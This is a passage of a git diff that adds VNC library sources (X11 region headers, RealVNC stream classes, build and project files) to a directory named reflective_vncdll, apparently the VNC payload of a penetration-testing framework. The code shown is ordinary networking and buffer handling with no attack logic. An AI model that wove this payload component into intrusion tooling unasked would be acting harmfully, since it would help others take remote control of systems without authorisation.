+ XRegion /* srb */, + XRegion /* dr_return */ +#endif +); + +#ifdef __cplusplus +}; +#endif + +#endif /* _XUTIL_H_ */ diff --git a/external/source/reflective_vncdll/Xregion/Xregion.vcproj b/external/source/reflective_vncdll/Xregion/Xregion.vcproj new file mode 100644 index 0000000000..c05c2dc7d3 --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Xregion.vcproj @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/Xregion/Xregion.vcproj.7.10.old b/external/source/reflective_vncdll/Xregion/Xregion.vcproj.7.10.old new file mode 100644 index 0000000000..30520785e0 --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Xregion.vcproj.7.10.old @@ -0,0 +1,94 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/Xregion/Xregion.vcproj.UNKNOWN.steve.user b/external/source/reflective_vncdll/Xregion/Xregion.vcproj.UNKNOWN.steve.user new file mode 100644 index 0000000000..4235de006f --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/Xregion.vcproj.UNKNOWN.steve.user @@ -0,0 +1,37 @@ + + + + + + + + diff --git a/external/source/reflective_vncdll/Xregion/region.h b/external/source/reflective_vncdll/Xregion/region.h new file mode 100644 index 0000000000..4f91a118da --- /dev/null +++ b/external/source/reflective_vncdll/Xregion/region.h @@ -0,0 +1,188 @@ +/* $Xorg: region.h,v 1.4 2001/02/09 02:03:40 xorgcvs Exp $ */ +/************************************************************************ + +Copyright 1987, 1998 The Open Group + +Permission to use, copy, modify, distribute, and sell this software and its +documentation for any purpose is hereby granted without fee, provided that +the above copyright notice appear in all copies and that both that +copyright notice and this permission notice appear in supporting +documentation. + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN +AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Except as contained in this notice, the name of The Open Group shall not be +used in advertising or otherwise to promote the sale, use or other dealings +in this Software without prior written authorization from The Open Group. + + +Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Digital not be +used in advertising or publicity pertaining to distribution of the +software without specific, written prior permission. + +DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL +DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS +SOFTWARE. + +************************************************************************/ + +#ifndef _XREGION_H +#define _XREGION_H + +typedef struct { + short x1, x2, y1, y2; +} Box, BOX, BoxRec, *BoxPtr; + +typedef struct { + short x, y, width, height; +}RECTANGLE, RectangleRec, *RectanglePtr; + +#define TRUE 1 +#define FALSE 0 +#ifndef MAX +#define MAX(a,b) (((a) > (b)) ? (a) : (b)) +#endif +#ifndef MIN +#define MIN(a,b) (((a) < (b)) ? (a) : (b)) +#endif + + +/* + * clip region + */ + +typedef struct _XRegion { + long size; + long numRects; + BOX *rects; + BOX extents; +} REGION; + +/* Xutil.h contains the declaration: + * typedef struct _XRegion *Region; + */ + +/* 1 if two BOXs overlap. + * 0 if two BOXs do not overlap. + * Remember, x2 and y2 are not in the region + */ +#define EXTENTCHECK(r1, r2) \ + ((r1)->x2 > (r2)->x1 && \ + (r1)->x1 < (r2)->x2 && \ + (r1)->y2 > (r2)->y1 && \ + (r1)->y1 < (r2)->y2) + +/* + * update region extents + */ +#define EXTENTS(r,idRect){\ + if((r)->x1 < (idRect)->extents.x1)\ + (idRect)->extents.x1 = (r)->x1;\ + if((r)->y1 < (idRect)->extents.y1)\ + (idRect)->extents.y1 = (r)->y1;\ + if((r)->x2 > (idRect)->extents.x2)\ + (idRect)->extents.x2 = (r)->x2;\ + if((r)->y2 > (idRect)->extents.y2)\ + (idRect)->extents.y2 = (r)->y2;\ + } + +/* + * Check to see if there is enough memory in the present region. + */ +#define MEMCHECK(reg, rect, firstrect){\ + if ((reg)->numRects >= ((reg)->size - 1)){\ + (firstrect) = (BOX *) Xrealloc \ + ((char *)(firstrect), (unsigned) (2 * (sizeof(BOX)) * ((reg)->size)));\ + if ((firstrect) == 0)\ + return(0);\ + (reg)->size *= 2;\ + (rect) = &(firstrect)[(reg)->numRects];\ + }\ + } + +/* this routine checks to see if the previous rectangle is the same + * or subsumes the new rectangle to add. + */ + +#define CHECK_PREVIOUS(Reg, R, Rx1, Ry1, Rx2, Ry2)\ + (!(((Reg)->numRects > 0)&&\ + ((R-1)->y1 == (Ry1)) &&\ + ((R-1)->y2 == (Ry2)) &&\ + ((R-1)->x1 <= (Rx1)) &&\ + ((R-1)->x2 >= (Rx2)))) + +/* add a rectangle to the given Region */ +#define ADDRECT(reg, r, rx1, ry1, rx2, ry2){\ + if (((rx1) < (rx2)) && ((ry1) < (ry2)) &&\ + CHECK_PREVIOUS((reg), (r), (rx1), (ry1), (rx2), (ry2))){\ + (r)->x1 = (rx1);\ + (r)->y1 = (ry1);\ + (r)->x2 = (rx2);\ + (r)->y2 = (ry2);\ + EXTENTS((r), (reg));\ + (reg)->numRects++;\ + (r)++;\ + }\ + } + + + +/* add a rectangle to the given Region */ +#define ADDRECTNOX(reg, r, rx1, ry1, rx2, ry2){\ + if ((rx1 < rx2) && (ry1 < ry2) &&\ + CHECK_PREVIOUS((reg), (r), (rx1), (ry1), (rx2), (ry2))){\ + (r)->x1 = (rx1);\ + (r)->y1 = (ry1);\ + (r)->x2 = (rx2);\ + (r)->y2 = (ry2);\ + (reg)->numRects++;\ + (r)++;\ + }\ + } + +#define EMPTY_REGION(pReg) pReg->numRects = 0 + +#define REGION_NOT_EMPTY(pReg) pReg->numRects + +#define INBOX(r, x, y) \ + ( ( ((r).x2 > x)) && \ + ( ((r).x1 <= x)) && \ + ( ((r).y2 > y)) && \ + ( ((r).y1 <= y)) ) + +/* + * number of points to buffer before sending them off + * to scanlines() : Must be an even number + */ +#define NUMPTSTOBUFFER 200 + +/* + * used to allocate buffers for points and link + * the buffers together + */ +typedef struct _POINTBLOCK { + XPoint pts[NUMPTSTOBUFFER]; + struct _POINTBLOCK *next; +} POINTBLOCK; + +#endif diff --git a/external/source/reflective_vncdll/rdr/Exception.h b/external/source/reflective_vncdll/rdr/Exception.h new file mode 100644 index 0000000000..94132366aa --- /dev/null +++ b/external/source/reflective_vncdll/rdr/Exception.h @@ -0,0 +1,71 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#ifndef __RDR_EXCEPTION_H__ +#define __RDR_EXCEPTION_H__ + +#include +#include + +namespace rdr { + + struct Exception { + enum { len = 256 }; + char str_[len]; + Exception(const char* s=0, const char* e="rdr::Exception") { + str_[0] = 0; + strncat(str_, e, len-1); + if (s) { + strncat(str_, ": ", len-1-strlen(str_)); + strncat(str_, s, len-1-strlen(str_)); + } + } + virtual const char* str() const { return str_; } + }; + + struct SystemException : public Exception { + int err; + SystemException(const char* s, int err_) : err(err_) { + str_[0] = 0; + strncat(str_, "rdr::SystemException: ", len-1); + strncat(str_, s, len-1-strlen(str_)); + strncat(str_, ": ", len-1-strlen(str_)); + strncat(str_, strerror(err), len-1-strlen(str_)); + strncat(str_, " (", len-1-strlen(str_)); + char buf[20]; + sprintf(buf,"%d",err); + strncat(str_, buf, len-1-strlen(str_)); + strncat(str_, ")", len-1-strlen(str_)); + } + }; + + struct TimedOut : public Exception { + TimedOut(const char* s=0) : Exception(s,"rdr::TimedOut") {} + }; + + struct EndOfStream : public Exception { + EndOfStream(const char* s=0) : Exception(s,"rdr::EndOfStream") {} + }; + + struct FrameException : public Exception { + FrameException(const char* s=0) : Exception(s,"rdr::FrameException") {} + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/FdInStream.cxx b/external/source/reflective_vncdll/rdr/FdInStream.cxx new file mode 100644 index 0000000000..de85413756 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/FdInStream.cxx @@ -0,0 +1,247 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include +#include +#include +#ifdef _WIN32 +#include +#include +#define read(s,b,l) recv(s,(char*)b,l,0) +#undef errno +#define errno WSAGetLastError() +#else +#include +#include +#endif + +// XXX should use autoconf HAVE_SYS_SELECT_H +#ifdef _AIX +#include +#endif + +#include +#include + +using namespace rdr; + +enum { DEFAULT_BUF_SIZE = 8192, + MIN_BULK_SIZE = 1024 }; + +FdInStream::FdInStream(int fd_, int timeout_, int bufSize_) + : fd(fd_), timeout(timeout_), blockCallback(0), blockCallbackArg(0), + timing(false), timeWaitedIn100us(5), timedKbits(0), + bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0) +{ + ptr = end = start = new U8[bufSize]; +} + +FdInStream::FdInStream(int fd_, void (*blockCallback_)(void*), + void* blockCallbackArg_, int bufSize_) + : fd(fd_), timeout(0), blockCallback(blockCallback_), + blockCallbackArg(blockCallbackArg_), + timing(false), timeWaitedIn100us(5), timedKbits(0), + bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0) +{ + ptr = end = start = new U8[bufSize]; +} + +FdInStream::~FdInStream() +{ + delete [] start; +} + + +int FdInStream::pos() +{ + return offset + ptr - start; +} + +void FdInStream::readBytes(void* data, int length) +{ + if (length < MIN_BULK_SIZE) { + InStream::readBytes(data, length); + return; + } + + U8* dataPtr = (U8*)data; + + int n = end - ptr; + if (n > length) n = length; + + memcpy(dataPtr, ptr, n); + dataPtr += n; + length -= n; + ptr += n; + + while (length > 0) { + n = readWithTimeoutOrCallback(dataPtr, length); + dataPtr += n; + length -= n; + offset += n; + } +} + + +int FdInStream::overrun(int itemSize, int nItems) +{ + if (itemSize > bufSize) + throw Exception("FdInStream overrun: max itemSize exceeded"); + + if (end - ptr != 0) + memmove(start, ptr, end - ptr); + + offset += ptr - start; + end -= ptr - start; + ptr = start; + + while (end < start + itemSize) { + int n = readWithTimeoutOrCallback((U8*)end, start + bufSize - end); + end += n; + } + + if (itemSize * nItems > end - ptr) + nItems = (end - ptr) / itemSize; + + return nItems; +} + +int FdInStream::checkReadable(int fd, int timeout) +{ + while (true) { + fd_set rfds; + struct timeval tv; + + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + + FD_ZERO(&rfds); + FD_SET(fd, &rfds); + int n = select(fd+1, &rfds, 0, 0, &tv); + if (n != -1 || errno != EINTR) + return n; + fprintf(stderr,"select returned EINTR\n"); + } +} + +#ifdef _WIN32 +static void gettimeofday(struct timeval* tv, void*) +{ + LARGE_INTEGER counts, countsPerSec; + static double usecPerCount = 0.0; + + if (QueryPerformanceCounter(&counts)) { + if (usecPerCount == 0.0) { + QueryPerformanceFrequency(&countsPerSec); + usecPerCount = 1000000.0 / countsPerSec.QuadPart; + } + + LONGLONG usecs = (LONGLONG)(counts.QuadPart * usecPerCount); + tv->tv_usec = (long)(usecs % 1000000); + tv->tv_sec = (long)(usecs / 1000000); + + } else { + struct timeb tb; + ftime(&tb); + tv->tv_sec = tb.time; + tv->tv_usec = tb.millitm * 1000; + } +} +#endif + +int FdInStream::readWithTimeoutOrCallback(void* buf, int len) +{ + struct timeval before, after; + if (timing) + gettimeofday(&before, 0); + + int n = checkReadable(fd, timeout); + + if (n < 0) throw SystemException("select",errno); + + if (n == 0) { + if (timeout) throw TimedOut(); + if (blockCallback) (*blockCallback)(blockCallbackArg); + } + + while (true) { + n = ::read(fd, buf, len); + if (n != -1 || errno != EINTR) + break; + fprintf(stderr,"read returned EINTR\n"); + } + + if (n < 0) throw SystemException("read",errno); + if (n == 0) throw EndOfStream(); + + if (timing) { + gettimeofday(&after, 0); +// fprintf(stderr,"%d.%06d\n",(after.tv_sec - before.tv_sec), +// (after.tv_usec - before.tv_usec)); + int newTimeWaited = ((after.tv_sec - before.tv_sec) * 10000 + + (after.tv_usec - before.tv_usec) / 100); + int newKbits = n * 8 / 1000; + +// if (newTimeWaited == 0) { +// fprintf(stderr,"new kbps infinite t %d k %d\n", +// newTimeWaited, newKbits); +// } else { +// fprintf(stderr,"new kbps %d t %d k %d\n", +// newKbits * 10000 / newTimeWaited, newTimeWaited, newKbits); +// } + + // limit rate to between 10kbit/s and 40Mbit/s + + if (newTimeWaited > newKbits*1000) newTimeWaited = newKbits*1000; + if (newTimeWaited < newKbits/4) newTimeWaited = newKbits/4; + + timeWaitedIn100us += newTimeWaited; + timedKbits += newKbits; + } + + return n; +} + +void FdInStream::startTiming() +{ + timing = true; + + // Carry over up to 1s worth of previous rate for smoothing. + + if (timeWaitedIn100us > 10000) { + timedKbits = timedKbits * 10000 / timeWaitedIn100us; + timeWaitedIn100us = 10000; + } +} + +void FdInStream::stopTiming() +{ + timing = false; + if (timeWaitedIn100us < timedKbits/2) + timeWaitedIn100us = timedKbits/2; // upper limit 20Mbit/s +} + +unsigned int FdInStream::kbitsPerSecond() +{ + // The following calculation will overflow 32-bit arithmetic if we have + // received more than about 50Mbytes (400Mbits) since we started timing, so + // it should be OK for a single RFB update. + + return timedKbits * 10000 / timeWaitedIn100us; +} diff --git a/external/source/reflective_vncdll/rdr/FdInStream.h b/external/source/reflective_vncdll/rdr/FdInStream.h new file mode 100644 index 0000000000..f6f879b6c4 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/FdInStream.h @@ -0,0 +1,72 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// FdInStream streams from a file descriptor. +// + +#ifndef __RDR_FDINSTREAM_H__ +#define __RDR_FDINSTREAM_H__ + +#include + +namespace rdr { + + class FdInStream : public InStream { + + public: + + FdInStream(int fd, int timeout=0, int bufSize=0); + FdInStream(int fd, void (*blockCallback)(void*), void* blockCallbackArg=0, + int bufSize=0); + virtual ~FdInStream(); + + int getFd() { return fd; } + int pos(); + void readBytes(void* data, int length); + int bytesInBuf() { return end - ptr; } + + void startTiming(); + void stopTiming(); + unsigned int kbitsPerSecond(); + unsigned int timeWaited() { return timeWaitedIn100us; } + + protected: + int overrun(int itemSize, int nItems); + + private: + int checkReadable(int fd, int timeout); + int readWithTimeoutOrCallback(void* buf, int len); + + int fd; + int timeout; + void (*blockCallback)(void*); + void* blockCallbackArg; + + bool timing; + unsigned int timeWaitedIn100us; + unsigned int timedKbits; + + int bufSize; + int offset; + U8* start; + }; + +} // end of namespace rdr + +#endif diff --git a/external/source/reflective_vncdll/rdr/FdOutStream.cxx b/external/source/reflective_vncdll/rdr/FdOutStream.cxx new file mode 100644 index 0000000000..a495aa94c8 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/FdOutStream.cxx @@ -0,0 +1,113 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include +#include +#include +#ifdef _WIN32 +#include +#define write(s,b,l) send(s,(const char*)b,l,0) +#undef errno +#define errno WSAGetLastError() +#else +#include +#include +#endif + +#include +#include + + +using namespace rdr; + +enum { DEFAULT_BUF_SIZE = 16384, + MIN_BULK_SIZE = 1024 }; + +FdOutStream::FdOutStream(int fd_, int bufSize_) + : fd(fd_), bufSize(bufSize_ ? bufSize_ : DEFAULT_BUF_SIZE), offset(0) +{ + ptr = start = new U8[bufSize]; + end = start + bufSize; +} + +FdOutStream::~FdOutStream() +{ + try { + flush(); + } catch (Exception&) { + } + delete [] start; +} + + +void FdOutStream::writeBytes(const void* data, int length) +{ + if (length < MIN_BULK_SIZE) { + OutStream::writeBytes(data, length); + return; + } + + const U8* dataPtr = (const U8*)data; + + flush(); + + while (length > 0) { + int n = write(fd, dataPtr, length); + + if (n < 0) throw SystemException("write",errno); + + length -= n; + dataPtr += n; + offset += n; + } +} + +int FdOutStream::length() +{ + return offset + ptr - start; +} + +void FdOutStream::flush() +{ + U8* sentUpTo = start; + while (sentUpTo < ptr) { + int n = write(fd, (const void*) sentUpTo, ptr - sentUpTo); + + if (n < 0) throw SystemException("write",errno); + + sentUpTo += n; + offset += n; + } + + ptr = start; +} + + +int FdOutStream::overrun(int itemSize, int nItems) +{ + if (itemSize > bufSize) + throw Exception("FdOutStream overrun: max itemSize exceeded"); + + flush(); + + if (itemSize * nItems > end - ptr) + nItems = (end - ptr) / itemSize; + + return nItems; +} diff --git a/external/source/reflective_vncdll/rdr/FdOutStream.h b/external/source/reflective_vncdll/rdr/FdOutStream.h new file mode 100644 index 0000000000..5db6dc8e83 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/FdOutStream.h @@ -0,0 +1,53 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// FdOutStream streams to a file descriptor. +// + +#ifndef __RDR_FDOUTSTREAM_H__ +#define __RDR_FDOUTSTREAM_H__ + +#include + +namespace rdr { + + class FdOutStream : public OutStream { + + public: + + FdOutStream(int fd, int bufSize=0); + virtual ~FdOutStream(); + + int getFd() { return fd; } + + void flush(); + int length(); + void writeBytes(const void* data, int length); + + private: + int overrun(int itemSize, int nItems); + int fd; + int bufSize; + int offset; + U8* start; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/FixedMemOutStream.h b/external/source/reflective_vncdll/rdr/FixedMemOutStream.h new file mode 100644 index 0000000000..f65b75001a --- /dev/null +++ b/external/source/reflective_vncdll/rdr/FixedMemOutStream.h @@ -0,0 +1,52 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// A FixedMemOutStream writes to a buffer of a fixed length. +// + +#ifndef __RDR_FIXEDMEMOUTSTREAM_H__ +#define __RDR_FIXEDMEMOUTSTREAM_H__ + +#include +#include + +namespace rdr { + + class FixedMemOutStream : public OutStream { + + public: + + FixedMemOutStream(void* buf, int len) { + ptr = start = (U8*)buf; + end = start + len; + } + + int length() { return ptr - start; } + void reposition(int pos) { ptr = start + pos; } + const void* data() { return (const void*)start; } + + private: + + int overrun(int itemSize, int nItems) { throw EndOfStream(); } + U8* start; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/InStream.cxx b/external/source/reflective_vncdll/rdr/InStream.cxx new file mode 100644 index 0000000000..9e4da512d4 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/InStream.cxx @@ -0,0 +1,35 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#include +#include + +using namespace rdr; + +U32 InStream::maxStringLength = 65535; + +char* InStream::readString() +{ + U32 len = readU32(); + if (len > maxStringLength) + throw Exception("InStream max string length exceeded"); + char* str = new char[len+1]; + readBytes(str, len); + str[len] = 0; + return str; +} diff --git a/external/source/reflective_vncdll/rdr/InStream.h b/external/source/reflective_vncdll/rdr/InStream.h new file mode 100644 index 0000000000..135d151087 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/InStream.h @@ -0,0 +1,143 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +// +// rdr::InStream marshalls data from a buffer stored in RDR (RFB Data +// Representation). +// + +#ifndef __RDR_INSTREAM_H__ +#define __RDR_INSTREAM_H__ + +#include +#include // for memcpy + +namespace rdr { + + class InStream { + + public: + + virtual ~InStream() {} + + // check() ensures there is buffer data for at least one item of size + // itemSize bytes. Returns the number of items in the buffer (up to a + // maximum of nItems). + + inline int check(int itemSize, int nItems=1) + { + if (ptr + itemSize * nItems > end) { + if (ptr + itemSize > end) + return overrun(itemSize, nItems); + + nItems = (end - ptr) / itemSize; + } + return nItems; + } + + // readU/SN() methods read unsigned and signed N-bit integers. + + inline U8 readU8() { check(1); return *ptr++; } + inline U16 readU16() { check(2); int b0 = *ptr++; int b1 = *ptr++; + return b0 << 8 | b1; } + inline U32 readU32() { check(4); int b0 = *ptr++; int b1 = *ptr++; + int b2 = *ptr++; int b3 = *ptr++; + return b0 << 24 | b1 << 16 | b2 << 8 | b3; } + + inline S8 readS8() { return (S8) readU8(); } + inline S16 readS16() { return (S16)readU16(); } + inline S32 readS32() { return (S32)readU32(); } + + // readString() reads a string - a U32 length followed by the data. + // Returns a null-terminated string - the caller should delete[] it + // afterwards. + + char* readString(); + + // maxStringLength protects against allocating a huge buffer. Set it + // higher if you need longer strings. + + static U32 maxStringLength; + + inline void skip(int bytes) { + while (bytes > 0) { + int n = check(1, bytes); + ptr += n; + bytes -= n; + } + } + + // readBytes() reads an exact number of bytes. + + virtual void readBytes(void* data, int length) { + U8* dataPtr = (U8*)data; + U8* dataEnd = dataPtr + length; + while (dataPtr < dataEnd) { + int n = check(1, dataEnd - dataPtr); + memcpy(dataPtr, ptr, n); + ptr += n; + dataPtr += n; + } + } + + // readOpaqueN() reads a quantity without byte-swapping. + + inline U8 readOpaque8() { return readU8(); } + inline U16 readOpaque16() { check(2); U16 r; ((U8*)&r)[0] = *ptr++; + ((U8*)&r)[1] = *ptr++; return r; } + inline U32 readOpaque32() { check(4); U32 r; ((U8*)&r)[0] = *ptr++; + ((U8*)&r)[1] = *ptr++; ((U8*)&r)[2] = *ptr++; + ((U8*)&r)[3] = *ptr++; return r; } + inline U32 readOpaque24A() { check(3); U32 r=0; ((U8*)&r)[0] = *ptr++; + ((U8*)&r)[1] = *ptr++; ((U8*)&r)[2] = *ptr++; + return r; } + inline U32 readOpaque24B() { check(3); U32 r=0; ((U8*)&r)[1] = *ptr++; + ((U8*)&r)[2] = *ptr++; ((U8*)&r)[3] = *ptr++; + return r; } + + // pos() returns the position in the stream. + + virtual int pos() = 0; + + // getptr(), getend() and setptr() are "dirty" methods which allow you to + // manipulate the buffer directly. This is useful for a stream which is a + // wrapper around an underlying stream. + + inline const U8* getptr() const { return ptr; } + inline const U8* getend() const { return end; } + inline void setptr(const U8* p) { ptr = p; } + + private: + + // overrun() is implemented by a derived class to cope with buffer overrun. + // It ensures there are at least itemSize bytes of buffer data. Returns + // the number of items in the buffer (up to a maximum of nItems). itemSize + // is supposed to be "small" (a few bytes). + + virtual int overrun(int itemSize, int nItems) = 0; + + protected: + + InStream() {} + const U8* ptr; + const U8* end; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/Makefile.in b/external/source/reflective_vncdll/rdr/Makefile.in new file mode 100644 index 0000000000..6b4c2ef4bd --- /dev/null +++ b/external/source/reflective_vncdll/rdr/Makefile.in @@ -0,0 +1,18 @@ + +SRCS = FdInStream.cxx FdOutStream.cxx InStream.cxx NullOutStream.cxx \ + ZlibInStream.cxx ZlibOutStream.cxx + +OBJS = $(SRCS:.cxx=.o) + +DIR_CPPFLAGS = -I$(top_srcdir) @ZLIB_INCLUDE@ + +library = librdr.a + +all:: $(library) + +$(library): $(OBJS) + rm -f $(library) + $(AR) $(library) $(OBJS) + $(RANLIB) $(library) + +# followed by boilerplate.mk diff --git a/external/source/reflective_vncdll/rdr/MemInStream.h b/external/source/reflective_vncdll/rdr/MemInStream.h new file mode 100644 index 0000000000..02637067e6 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/MemInStream.h @@ -0,0 +1,47 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. + +#ifndef __RDR_MEMINSTREAM_H__ +#define __RDR_MEMINSTREAM_H__ + +#include +#include + +namespace rdr { + + class MemInStream : public InStream { + + public: + + MemInStream(const void* data, int len) { + ptr = start = (const U8*)data; + end = start + len; + } + + int pos() { return ptr - start; } + void reposition(int pos) { ptr = start + pos; } + + private: + + int overrun(int itemSize, int nItems) { throw EndOfStream(); } + const U8* start; + }; + +} + +#endif diff --git a/external/source/reflective_vncdll/rdr/MemOutStream.h b/external/source/reflective_vncdll/rdr/MemOutStream.h new file mode 100644 index 0000000000..5b21302cc9 --- /dev/null +++ b/external/source/reflective_vncdll/rdr/MemOutStream.h @@ -0,0 +1,82 @@ +// +// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. +// +// This is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This software is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this software; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - 